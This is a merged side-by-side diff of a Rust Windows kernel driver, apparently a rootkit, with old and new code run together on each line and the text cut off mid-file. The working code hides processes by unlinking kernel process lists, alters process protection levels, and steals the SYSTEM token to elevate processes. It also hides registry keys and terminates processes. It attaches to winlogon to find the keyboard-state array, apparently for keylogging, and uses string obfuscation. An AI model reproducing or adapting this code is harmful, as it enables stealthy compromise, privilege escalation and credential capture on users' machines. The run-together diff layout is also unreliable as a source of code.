ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_TERMINATE_PROCESS"); log::info!("Received IOCTL_TERMINATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) }; let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 }; unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
status status
}) as IoctlHandler); }) as IoctlHandler);
// Modifying the PP / PPL of a process. // Modifying the PP / PPL of a process.
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_SIGNATURE_PROCESS"); log::info!("Received IOCTL_SIGNATURE_PROCESS");
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) }; let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 }; unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// Lists the processes currently hidden and protect. // Lists the processes currently hidden and protect.

View File

@@ -41,6 +41,7 @@ impl Process {
/// # Returns /// # Returns
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. /// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
/// ///
#[inline]
pub fn new(pid: usize) -> Option<Self> { pub fn new(pid: usize) -> Option<Self> {
let mut process = core::ptr::null_mut(); let mut process = core::ptr::null_mut();
@@ -63,13 +64,11 @@ impl Process {
/// ///
pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS { pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
let pid = (*process).pid; let pid = (*process).pid;
let status = if (*process).enable { if (*process).enable {
Self::hide_process(pid) Self::hide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
} else { } else {
Self::unhide_process(pid) Self::unhide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code)
}; }
status
} }
/// Hide a process by removing it from the list of active processes. /// Hide a process by removing it from the list of active processes.
@@ -80,17 +79,14 @@ impl Process {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
unsafe fn hide_process(pid: usize) -> NTSTATUS { unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> {
// Offsets // Offsets
let unique_process_id = get_offset_unique_process_id(); let unique_process_id = get_offset_unique_process_id();
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize; let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize; let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
// Retrieving EPROCESS from the target process // Retrieving EPROCESS from the target process
let process = match Self::new(pid) { let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY; let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64; let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
@@ -106,7 +102,6 @@ impl Process {
let mut process_info = PROCESS_INFO_HIDE.lock(); let mut process_info = PROCESS_INFO_HIDE.lock();
let list_ptr = Box::into_raw(Box::new(list)); let list_ptr = Box::into_raw(Box::new(list));
log::info!("Stored list entry at: {:?}", list_ptr);
process_info.push(HiddenProcessInfo { process_info.push(HiddenProcessInfo {
pid, pid,
@@ -123,7 +118,7 @@ impl Process {
ExReleasePushLockExclusiveEx(push_lock, 0); ExReleasePushLockExclusiveEx(push_lock, 0);
STATUS_SUCCESS Ok(())
} }
/// Unhide a process by removing it from the list of active processes. /// Unhide a process by removing it from the list of active processes.
@@ -134,17 +129,14 @@ impl Process {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
unsafe fn unhide_process(pid: usize) -> NTSTATUS { unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> {
// Offsets // Offsets
let unique_process_id = get_offset_unique_process_id(); let unique_process_id = get_offset_unique_process_id();
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize; let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize; let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
// Retrieving EPROCESS from the target process // Retrieving EPROCESS from the target process
let process = match Self::new(pid) { let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY; let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR; let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
@@ -158,7 +150,7 @@ impl Process {
let list = process.list_entry.load(Ordering::SeqCst); let list = process.list_entry.load(Ordering::SeqCst);
if list.is_null() { if list.is_null() {
log::error!("List entry stored in AtomicPtr is null"); log::error!("List entry stored in AtomicPtr is null");
return STATUS_INVALID_PARAMETER; return Err(STATUS_INVALID_PARAMETER);
} }
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY; (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
@@ -174,13 +166,13 @@ impl Process {
} else { } else {
log::info!("PID ({pid}) Not found"); log::info!("PID ({pid}) Not found");
ExReleasePushLockExclusiveEx(push_lock, 0); ExReleasePushLockExclusiveEx(push_lock, 0);
return STATUS_UNSUCCESSFUL; return Err(STATUS_UNSUCCESSFUL);
} }
log::info!("Process with PID {pid} unhidden successfully."); log::info!("Process with PID {pid} unhidden successfully.");
ExReleasePushLockExclusiveEx(push_lock, 0); ExReleasePushLockExclusiveEx(push_lock, 0);
STATUS_SUCCESS Ok(())
} }
/// Toggles the enumeration between hiding or protecting processes based on the options provided. /// Toggles the enumeration between hiding or protecting processes based on the options provided.
@@ -285,7 +277,7 @@ impl Process {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> NTSTATUS { pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> {
let pid = (*signature_info).pid; let pid = (*signature_info).pid;
let sg = (*signature_info).sg; let sg = (*signature_info).sg;
let tp = (*signature_info).tp; let tp = (*signature_info).tp;
@@ -294,10 +286,7 @@ impl Process {
let protection_offset = get_offset_signature(); let protection_offset = get_offset_signature();
// Retrieving EPROCESS from the target process // Retrieving EPROCESS from the target process
let process = match Self::new(pid) { let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
let new_sign = (sg << 4) | tp; let new_sign = (sg << 4) | tp;
let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE; let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE;
@@ -306,7 +295,7 @@ impl Process {
(*process_signature).protection.set_type_(tp as u8); (*process_signature).protection.set_type_(tp as u8);
(*process_signature).protection.set_signer(sg as u8); (*process_signature).protection.set_signer(sg as u8);
STATUS_SUCCESS Ok(())
} }
/// Raises the token of the specified process to the system token. /// Raises the token of the specified process to the system token.
@@ -321,7 +310,7 @@ impl Process {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn elevate_process(process: *mut TargetProcess) -> NTSTATUS { pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> {
let pid = (*process).pid; let pid = (*process).pid;
let system_process = 4; let system_process = 4;
@@ -329,16 +318,10 @@ impl Process {
let token = get_offset_token(); let token = get_offset_token();
// Retrieving EPROCESS from the target process // Retrieving EPROCESS from the target process
let target = match Self::new(pid) { let target = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
// Retrieving EPROCESS from the System process (By default the PID is 4) // Retrieving EPROCESS from the System process (By default the PID is 4)
let system = match Self::new(system_process) { let system = Self::new(system_process).ok_or(STATUS_UNSUCCESSFUL)?;
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
// Accessing EPROCESS.Token // Accessing EPROCESS.Token
let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64; let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64;
@@ -349,7 +332,7 @@ impl Process {
log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}"); log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}");
STATUS_SUCCESS Ok(())
} }
} }

View File

@@ -2,20 +2,24 @@
use { use {
super::{ super::{
utils::{check_key_value, enumerate_value_key, RegistryInfo}, HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES utils::{check_key_value, enumerate_value_key, RegistryInfo},
HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
}, },
crate::{ crate::{
registry::{utils::{check_key, enumerate_key}, Registry}, registry::{utils::{check_key, enumerate_key}, Registry},
utils::valid_kernel_memory utils::{pool::PoolMemory, valid_kernel_memory}
}, },
alloc::{format, string::String}, alloc::{format, string::String},
core::{ffi::c_void, ptr::null_mut}, core::{ffi::c_void, ptr::null_mut},
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx, CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
ExAllocatePool2, ExFreePool, ObOpenObjectByPointer, ZwClose ObOpenObjectByPointer, ZwClose
}, _MODE::KernelMode, _REG_NOTIFY_CLASS::{ },
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey _MODE::KernelMode,
_REG_NOTIFY_CLASS::{
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey,
RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
}, * }, *
}, },
}; };
@@ -137,11 +141,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
return STATUS_SUCCESS; return STATUS_SUCCESS;
} }
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
if buffer.is_null() { Some(mem) => mem.ptr as *mut u8,
ZwClose(key_handle); None => {
return STATUS_SUCCESS; log::error!("PoolMemory (Enumerate Key) Failed");
} ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0; let mut result_length = 0;
let mut counter = 0; let mut counter = 0;
@@ -162,7 +169,6 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
} }
ZwClose(key_handle); ZwClose(key_handle);
ExFreePool(buffer as _);
STATUS_SUCCESS STATUS_SUCCESS
} }
@@ -209,11 +215,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
return STATUS_SUCCESS; return STATUS_SUCCESS;
} }
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
if buffer.is_null() { Some(mem) => mem.ptr as *mut u8,
ZwClose(key_handle); None => {
return STATUS_SUCCESS; log::error!("PoolMemory (Enumerate Key) Failed");
} ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0; let mut result_length = 0;
let mut counter = 0; let mut counter = 0;
@@ -236,7 +245,6 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
} }
ZwClose(key_handle); ZwClose(key_handle);
ExFreePool(buffer as _);
STATUS_SUCCESS STATUS_SUCCESS
} }

View File

@@ -1,10 +1,7 @@
#![cfg(not(feature = "mapper"))] #![cfg(not(feature = "mapper"))]
use { use {
crate::{ crate::{handle_registry,registry::{Registry, utils::KeyListType}},
handle_registry,
registry::{Registry, utils::KeyListType}
},
shared::structs::TargetRegistry, shared::structs::TargetRegistry,
crate::utils::ioctls::IoctlHandler, crate::utils::ioctls::IoctlHandler,
alloc::boxed::Box, alloc::boxed::Box,

View File

@@ -18,10 +18,12 @@ use {
/// Checks if the key is present. /// Checks if the key is present.
/// ///
/// # Parameters /// # Parameters
///
/// - `info`: Pointer to the record operation information structure. /// - `info`: Pointer to the record operation information structure.
/// - `key`: Name of the key to be checked. /// - `key`: Name of the key to be checked.
/// ///
/// # Returns /// # Returns
///
/// - `bool`: Returns `true` if the key is found, otherwise `false`. /// - `bool`: Returns `true` if the key is found, otherwise `false`.
/// ///
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
@@ -29,10 +31,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
match (*info_class).KeyInformationClass { match (*info_class).KeyInformationClass {
KeyBasicInformation => { KeyBasicInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION; let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
let name = from_raw_parts( let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
let key = format!("{key}\\{}", String::from_utf16_lossy(name)); let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true return true
@@ -40,10 +40,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
}, },
KeyNameInformation => { KeyNameInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION; let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
let name = from_raw_parts( let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
let key = format!("{key}\\{}", String::from_utf16_lossy(name)); let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true return true
@@ -69,10 +67,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
match (*info_class).KeyValueInformationClass { match (*info_class).KeyValueInformationClass {
KeyValueBasicInformation => { KeyValueBasicInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION; let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
let name = from_raw_parts( let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
(*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize,
);
let value = String::from_utf16_lossy(name); let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
return true return true
@@ -80,10 +75,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
}, },
KeyValueFullInformationAlign64 => { KeyValueFullInformationAlign64 => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
let name = from_raw_parts( let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
(*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize,
);
let value = String::from_utf16_lossy(name); let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
@@ -93,10 +85,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
}, },
KeyValueFullInformation => { KeyValueFullInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
let name = from_raw_parts( let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize,);
(*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize,
);
let value = String::from_utf16_lossy(name); let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {

View File

@@ -42,6 +42,7 @@ impl Thread {
/// # Returns /// # Returns
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. /// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
/// ///
#[inline]
pub fn new(tid: usize) -> Option<Self> { pub fn new(tid: usize) -> Option<Self> {
let mut thread = core::ptr::null_mut(); let mut thread = core::ptr::null_mut();

139
driver/src/utils/address.rs Normal file
View File

@@ -0,0 +1,139 @@
use {
obfstr::obfstr,
ntapi::ntzwapi::ZwQuerySystemInformation,
super::{get_process_by_name, pool::PoolMemory},
crate::{process::Process, utils::SystemModuleInformation},
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
wdk_sys::{
ntddk::{
KeStackAttachProcess,
KeUnstackDetachProcess
},
KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED,
},
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
};
/// Gets the base address of a specified module.
///
/// # Parameters
/// - `module_name`: A string slice containing the name of the module.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
///
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
.map(|mem| mem.ptr as *mut SystemModuleInformation)
.or_else(|| {
log::error!("PoolMemory (SystemModuleInformation) Failed");
None
})?;
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
let status = ZwQuerySystemInformation(
SystemModuleInformation,
info_module as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes
);
if !NT_SUCCESS(status) {
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
return None;
}
let module_count = (*info_module).modules_count;
for i in 0..module_count as usize {
let name = (*info_module).modules[i].image_name;
let module_base = (*info_module).modules[i].image_base as *mut c_void;
if let Ok(name_str) = core::str::from_utf8(&name) {
if name_str.contains(module_name) {
return Some(module_base);
}
}
}
None
}
/// Gets the address of a specified function within a module.
///
/// # Parameters
/// - `function_name`: A string slice containing the name of the function.
/// - `dll_base`: A pointer to the base address of the DLL.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
if name == function_name {
return Some(address);
}
}
None
}
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
///
/// # Parameters
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
/// - `dll_base`: A pointer to the base address of the DLL.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let mut apc_state: KAPC_STATE = core::mem::zeroed();
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
Some(p) => p,
None => return None
};
let target = match Process::new(pid) {
Some(p) => p,
None => return None
};
KeStackAttachProcess(target.e_process, &mut apc_state);
let dll_base = dll_base as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
if name_module == name {
KeUnstackDetachProcess(&mut apc_state);
return Some(address);
}
}
KeUnstackDetachProcess(&mut apc_state);
None
}

View File

@@ -0,0 +1,28 @@
use wdk_sys::{ntddk::ZwClose, HANDLE};
pub struct Handle(HANDLE);
impl Handle {
/// Create new instance `Handle`.
#[inline]
pub fn new(handle: HANDLE) -> Self {
Handle(handle)
}
/// Return handle.
#[inline]
pub fn get(&self) -> HANDLE {
self.0
}
}
impl Drop for Handle {
#[inline]
fn drop(&mut self) {
if !self.0.is_null() {
unsafe {
ZwClose(self.0);
}
}
}
}

View File

@@ -18,20 +18,23 @@ use {
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>; pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
lazy_static! { lazy_static! {
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = { pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = load_ioctls();
let mut ioctls = HashMap::new(); }
get_process_ioctls(&mut ioctls);
get_thread_ioctls(&mut ioctls); fn load_ioctls() -> HashMap<u32, IoctlHandler> {
get_driver_ioctls(&mut ioctls); let mut ioctls = HashMap::new();
get_callback_ioctls(&mut ioctls);
get_injection_ioctls(&mut ioctls); get_process_ioctls(&mut ioctls);
get_misc_ioctls(&mut ioctls); get_thread_ioctls(&mut ioctls);
get_module_ioctls(&mut ioctls); get_driver_ioctls(&mut ioctls);
get_callback_ioctls(&mut ioctls);
#[cfg(not(feature = "mapper"))] { get_injection_ioctls(&mut ioctls);
get_registry_ioctls(&mut ioctls); get_misc_ioctls(&mut ioctls);
} get_module_ioctls(&mut ioctls);
ioctls #[cfg(not(feature = "mapper"))] {
}; get_registry_ioctls(&mut ioctls);
}
ioctls
} }

View File

@@ -166,6 +166,7 @@ macro_rules! handle_callback {
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{ ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
use shared::vars::Callbacks; use shared::vars::Callbacks;
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}; use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
use wdk_sys::STATUS_UNSUCCESSFUL;
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
Ok(buffer) => buffer, Ok(buffer) => buffer,
@@ -177,30 +178,25 @@ macro_rules! handle_callback {
Err(status) => return status, Err(status) => return status,
}; };
let mut status = 0; let status = match $ioctl {
match $ioctl { IOCTL_ENUMERATE_CALLBACK => match (*input_buffer).callback {
IOCTL_ENUMERATE_CALLBACK => { Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
status = match (*input_buffer).callback { Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information), Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
};
}, },
IOCTL_ENUMERATE_REMOVED_CALLBACK => { IOCTL_ENUMERATE_REMOVED_CALLBACK => match (*input_buffer).callback {
status = match (*input_buffer).callback { Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information), Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
};
}, },
_ => {} _ => Err(STATUS_UNSUCCESSFUL)
} };
status status
}}; }};

View File

@@ -1,13 +1,14 @@
use { use {
crate::{ obfstr::obfstr,
includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process handles::Handle,
}, pool::PoolMemory,
alloc::{string::String, vec::Vec, vec}, winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64},
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
alloc::{string::String, vec::Vec},
core::{ core::{
ffi::{c_void, CStr}, ffi::{c_void, CStr},
fmt::Write,
